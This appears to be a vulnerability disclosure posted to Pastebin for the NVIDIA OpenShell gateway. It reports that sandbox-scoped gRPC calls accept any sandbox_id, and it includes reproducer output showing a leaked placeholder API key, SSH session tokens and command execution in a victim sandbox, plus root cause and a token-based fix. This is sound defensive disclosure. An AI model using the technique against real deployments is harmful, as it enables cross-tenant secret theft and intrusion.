drpanwe

Untitled

May 28th, 2026
15,027
0
Never
4
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.72 KB | None | 0 0
  1. Product: NVIDIA OpenShell v0.0.8-dev.5 (commit 925160e84, main branch)
  2.  
  3. Summary: Improper authorization in sandbox-scoped gateway gRPC RPCs allows cross-sandbox access by supplying another sandbox_id. This enables information disclosure and unauthorized actions, including reading provider secrets, reading policy, creating SSH sessions, and executing commands in another sandbox.
  4.  
  5. I identified a cross-sandbox authorization bypass in the OpenShell gateway. On the current main revision I tested locally, GetSandboxProviderEnvironment and GetSandboxPolicy accept an arbitrary sandbox_id and return another sandbox's secrets and policy without verifying that the caller is authorized for that sandbox. Because the platform uses a shared client certificate for the CLI and sandbox pods, the gateway does not distinguish sandbox identity at the transport layer, making this a cross-sandbox object-level authorization failure.
  6.  
  7. I reproduced this by creating a victim sandbox with a provider secret and a separate attacker sandbox, then querying the victim sandbox_id over gRPC. The server returned the victim's ANTHROPIC_API_KEY and policy. I also observed that CreateSshSession appears to follow the same missing-authorization pattern in source, although my runtime test for that path was inconclusive because the target sandbox was not yet ready.
  8.  
  9. Development Environment:
  10.  
  11. Clone the repository and build it using cargo
  12. Install Python SDK (needs gRPC stubs to make raw RPC calls). This is to ensure Python dependencies are available (grpcio, protobuf) and run the reproducer from the repository root using the in-repo generated gRPC stubs under python/openshell/_proto/. Basically, you just need "grpcio" and "protobuf" from Python.
  13. Reproduction Steps:
  14.  
  15. Set up the local OpenShell development environment, using using the OpenShell gateway: openshell gateway start
  16. Run the Python (attached) reproducer which is doing the following:
  17. PYTHONPATH=python uv run python e2e/python/reproducer_sandbox_authz_bypass.py --wait-ready
  18.  
  19. Output:
  20.  
  21. [+] Connected to gateway at 127.0.0.1:8080
  22. [+] Created victim provider 'repro-victim-provider'
  23. Secret: sk-ant-SUPER-SECRET-KEY-12345
  24. [+] Created victim sandbox 'repro-victim-sandbox' (id: b85ef791-387b-48c2-af7b-a2bc2d96475d)
  25. [+] Created attacker sandbox 'repro-attacker-sandbox' (id: ad984a56-f55b-44fc-949b-22df0f3d4dbd)
  26.  
  27. ================================================================
  28. TEST 1: GetSandboxProviderEnvironment - no token
  29. caller context = attacker (shared mTLS cert)
  30. target = victim sandbox b85ef791-387b-48c2-af7b-a2bc2d96475d
  31. x-sandbox-token = (none)
  32. ================================================================
  33.  
  34. [!!] VULNERABLE - leaked ANTHROPIC_API_KEY=sk-ant-SUPER-SECRET-KEY-12345
  35.  
  36. ================================================================
  37. TEST 2: GetSandboxProviderEnvironment - fabricated token
  38. caller context = attacker (shared mTLS cert)
  39. target = victim sandbox b85ef791-387b-48c2-af7b-a2bc2d96475d
  40. x-sandbox-token = (fabricated UUID, not valid for any sandbox)
  41. ================================================================
  42.  
  43. [!!] VULNERABLE - leaked ANTHROPIC_API_KEY=sk-ant-SUPER-SECRET-KEY-12345
  44.  
  45. ================================================================
  46. TEST 3: GetSandboxPolicy - no token
  47. caller context = attacker (shared mTLS cert)
  48. target = victim sandbox b85ef791-387b-48c2-af7b-a2bc2d96475d
  49. x-sandbox-token = (none)
  50. ================================================================
  51.  
  52. [!!] VULNERABLE - policy version 1 disclosed
  53.  
  54. ================================================================
  55. WAITING for victim sandbox to reach Ready (timeout 120s)
  56. ================================================================
  57. [1] Sandbox not ready, 119s remaining...
  58. Victim sandbox is Ready.
  59.  
  60. ================================================================
  61. TEST 4: CreateSshSession - no token
  62. caller context = attacker (shared mTLS cert)
  63. target = victim sandbox b85ef791-387b-48c2-af7b-a2bc2d96475d
  64. x-sandbox-token = (none)
  65. ================================================================
  66.  
  67. [!!] VULNERABLE - SSH session token issued: a45df221-30ee-42... (host=127.0.0.1:8080)
  68.  
  69. ================================================================
  70. TEST 5: ExecSandbox - no token
  71. caller context = attacker (shared mTLS cert)
  72. target = victim sandbox b85ef791-387b-48c2-af7b-a2bc2d96475d
  73. x-sandbox-token = (none)
  74. command = ['hostname']
  75. expected output = 'repro-victim-sandbox' (victim pod name)
  76. ================================================================
  77.  
  78. [!!] VULNERABLE - hostname='repro-victim-sandbox' (CONFIRMS victim sandbox, exit 0)
  79.  
  80. ================================================================
  81. RESULTS
  82. ================================================================
  83. Tests run: 5
  84. Vulnerable: 5
  85. Fixed: 0
  86. Inconclusive: 0
  87.  
  88. [!!] GetSandboxProviderEnvironment (no token)
  89. leaked ANTHROPIC_API_KEY=sk-ant-SUPER-SECRET-KEY-12345
  90. [!!] GetSandboxProviderEnvironment (fabricated token)
  91. leaked ANTHROPIC_API_KEY=sk-ant-SUPER-SECRET-KEY-12345
  92. [!!] GetSandboxPolicy (no token)
  93. policy version 1 disclosed
  94. [!!] CreateSshSession (no token)
  95. SSH session token issued: a45df221-30ee-42... (host=127.0.0.1:8080)
  96. [!!] ExecSandbox (no token)
  97. hostname='repro-victim-sandbox' (CONFIRMS victim sandbox, exit 0)
  98.  
  99. CONCLUSION: Authorization bypass CONFIRMED. (exit 2)
  100. Cross-sandbox credential exfiltration is possible.
  101.  
  102. [+] Cleanup complete
  103.  
  104. The reproducer performs the following actions:
  105.  
  106. Creates a victim provider containing a secret API key.
  107. Creates a victim sandbox attached to that provider.
  108. Creates a separate attacker sandbox to establish a cross-sandbox scenario.
  109. Calls GetSandboxProviderEnvironment for the victim sandbox's sandbox_id without any sandbox-scoped authorization token.
  110. Calls GetSandboxPolicy for the victim sandbox's sandbox_id without any sandbox-scoped authorization token.
  111. Waits for the victim sandbox to reach Ready.
  112. Calls CreateSshSession for the victim sandbox's sandbox_id without any sandbox-scoped authorization token.
  113. Calls ExecSandbox for the victim sandbox's sandbox_id without any sandbox-scoped authorization token.
  114. **Current behavior (vulnerable): **
  115.  
  116. The gateway performed cross-sandbox operations without authorization.
  117.  
  118. In my reproduction:
  119.  
  120. GetSandboxProviderEnvironment returned the victim sandbox's ANTHROPIC_API_KEY in plaintext.
  121. GetSandboxPolicy returned the victim sandbox's policy for the victim sandbox_id.
  122. CreateSshSession issued an SSH session token for the victim sandbox.
  123. ExecSandbox executed hostname in the victim sandbox and returned repro-victim-sandbox, confirming execution occurred in the victim sandbox.
  124. Observed terminal output included:
  125.  
  126. leaked ANTHROPIC_API_KEY
  127. disclosed policy version
  128. issued SSH session token
  129. hostname='repro-victim-sandbox'
  130. The expected result would be:
  131.  
  132. Sandbox-scoped RPCs should reject requests for another sandbox unless the caller is explicitly authorized for that target sandbox. Requests using another sandbox's sandbox_id should fail with an authorization error such as UNAUTHENTICATED or PERMISSION_DENIED, and should never return another sandbox's credentials or policy, issue SSH sessions, or execute commands in another sandbox.
  133.  
  134. The affected RPCs:
  135.  
  136. GetSandboxProviderEnvironment
  137. GetSandboxPolicy
  138. CreateSshSession
  139. ExecSandbox
  140. Root Cause:
  141. The gateway trusts a caller-supplied sandbox_id in sandbox-scoped RPCs and does not bind the caller to the target sandbox. OpenShell also uses a shared client certificate for the CLI and sandbox pods, so the transport layer does not provide per-sandbox identity. As a result, sandbox-scoped authorization is missing at the application layer for these RPCs.
  142.  
  143. Relevant code paths:
  144.  
  145. crates/openshell-server/src/grpc.rs
  146. Read the architecture/gateway-security.md documents that the client certificate is shared by the CLI and all sandbox pods
  147. Impact
  148. This issue breaks sandbox isolation at the gateway layer. Any client that can talk to the gateway using the shared OpenShell client certificate can supply another sandbox's sandbox_id and invoke sandbox-scoped gRPC RPCs against that target. In my reproduction on the current main branch, I was able to read the victim sandbox's ANTHROPIC_API_KEY in plaintext, fetch the victim sandbox's policy, obtain an SSH session token for the victim sandbox, and execute a command in the victim sandbox without authorization. This allows a compromised or malicious sandbox to exfiltrate secrets from unrelated sandboxes, inspect their security policy, gain interactive access to them, and run commands inside them. Because the CLI and all sandbox pods share the same client certificate, the gateway does not distinguish sandbox identity at the transport layer, so the impact crosses sandbox boundaries rather than being limited to a single sandbox.
  149.  
  150. This issue does not require edge mode to exploit. The normal shared-mTLS deployment is sufficient. If a deployment also enables unauthenticated edge mode, the exposure may be even broader.
  151.  
  152. Recommended solution
  153. A suitable remediation is to stop relying on the shared OpenShell client certificate as the only authorization boundary for sandbox-originated gRPC calls. Instead, sandbox-scoped RPCs should require an additional authorization factor that is unique to each sandbox. A recommended approach is to generate a unique bearer token for each sandbox at creation time, persist only a hash of that token in the sandbox record, inject the raw token into the corresponding sandbox pod as OPENSHELL_SANDBOX_TOKEN, and require the token in x-sandbox-token gRPC metadata for sandbox-scoped RPCs. Requests with missing or mismatched tokens should be rejected with authorization errors.
  154.  
  155. In my recommended patch, this token model is applied to the confirmed vulnerable RPCs GetSandboxPolicy, GetSandboxProviderEnvironment, CreateSshSession, and ExecSandbox, and the sandbox-side gRPC client is updated to automatically attach x-sandbox-token so legitimate sandbox behavior continues to work. For a complete remediation, the same sandbox-bound authorization model should also be applied consistently to other sandbox-originated or sandbox-targeted RPCs that currently trust caller-supplied sandbox identity, such as ReportPolicyStatus, PushSandboxLogs, SubmitPolicyAnalysis, and any other RPCs reachable from a sandbox with the shared client certificate.
  156.  
  157. If backward compatibility is required, sandboxes without a stored token hash can be temporarily allowed as a migration path, but this should not be treated as the final state. Existing sandboxes should be recreated or migrated so that all sandbox-scoped RPCs are protected by the same token-based authorization mechanism.
  158.  
  159. Applying the patch, and running again the reproducer, the issues seem to be fixed:
  160.  
  161. drpaneas@m2:~/github/rust/OpenShell (main)% PYTHONPATH=python uv run python e2e/python/reproducer_sandbox_authz_bypass.py --wait-ready
  162. [+] Connected to gateway at 127.0.0.1:8080
  163. [+] Created victim provider 'repro-victim-provider'
  164. Secret: sk-ant-SUPER-SECRET-KEY-12345
  165. [+] Created victim sandbox 'repro-victim-sandbox' (id: de854048-1473-463b-9e95-98385a00573a)
  166. [+] Created attacker sandbox 'repro-attacker-sandbox' (id: 6862fac9-900b-418c-9f94-41ba6f25d587)
  167.  
  168. ================================================================
  169. TEST 1: GetSandboxProviderEnvironment - no token
  170. caller context = attacker (shared mTLS cert)
  171. target = victim sandbox de854048-1473-463b-9e95-98385a00573a
  172. x-sandbox-token = (none)
  173. ================================================================
  174.  
  175. [OK] REJECTED by authorization - UNAUTHENTICATED: x-sandbox-token metadata is required for sandbox-scoped RPCs
  176.  
  177. ================================================================
  178. TEST 2: GetSandboxProviderEnvironment - fabricated token
  179. caller context = attacker (shared mTLS cert)
  180. target = victim sandbox de854048-1473-463b-9e95-98385a00573a
  181. x-sandbox-token = (fabricated UUID, not valid for any sandbox)
  182. ================================================================
  183.  
  184. [OK] REJECTED by authorization - PERMISSION_DENIED: sandbox token does not match the target sandbox
  185.  
  186. ================================================================
  187. TEST 3: GetSandboxPolicy - no token
  188. caller context = attacker (shared mTLS cert)
  189. target = victim sandbox de854048-1473-463b-9e95-98385a00573a
  190. x-sandbox-token = (none)
  191. ================================================================
  192.  
  193. [OK] REJECTED by authorization - UNAUTHENTICATED: x-sandbox-token metadata is required for sandbox-scoped RPCs
  194.  
  195. ================================================================
  196. WAITING for victim sandbox to reach Ready (timeout 120s)
  197. ================================================================
  198. Victim sandbox is Ready.
  199.  
  200. ================================================================
  201. TEST 4: CreateSshSession - no token
  202. caller context = attacker (shared mTLS cert)
  203. target = victim sandbox de854048-1473-463b-9e95-98385a00573a
  204. x-sandbox-token = (none)
  205. ================================================================
  206.  
  207. [OK] REJECTED by authorization - UNAUTHENTICATED: x-sandbox-token metadata is required for sandbox-scoped RPCs
  208.  
  209. ================================================================
  210. TEST 5: ExecSandbox - no token
  211. caller context = attacker (shared mTLS cert)
  212. target = victim sandbox de854048-1473-463b-9e95-98385a00573a
  213. x-sandbox-token = (none)
  214. command = ['hostname']
  215. expected output = 'repro-victim-sandbox' (victim pod name)
  216. ================================================================
  217.  
  218. [OK] REJECTED by authorization - UNAUTHENTICATED: x-sandbox-token metadata is required for sandbox-scoped RPCs
  219.  
  220. ================================================================
  221. RESULTS
  222. ================================================================
  223. Tests run: 5
  224. Vulnerable: 0
  225. Fixed: 5
  226. Inconclusive: 0
  227.  
  228. [OK] GetSandboxProviderEnvironment (no token)
  229. UNAUTHENTICATED: x-sandbox-token metadata is required for sandbox-scoped RPCs
  230. [OK] GetSandboxProviderEnvironment (fabricated token)
  231. PERMISSION_DENIED: sandbox token does not match the target sandbox
  232. [OK] GetSandboxPolicy (no token)
  233. UNAUTHENTICATED: x-sandbox-token metadata is required for sandbox-scoped RPCs
  234. [OK] CreateSshSession (no token)
  235. UNAUTHENTICATED: x-sandbox-token metadata is required for sandbox-scoped RPCs
  236. [OK] ExecSandbox (no token)
  237. UNAUTHENTICATED: x-sandbox-token metadata is required for sandbox-scoped RPCs
  238.  
  239. CONCLUSION: All tested RPCs rejected unauthorized access
  240. with explicit authz errors. (exit 0)
  241.  
  242. [+] Cleanup complete
Advertisement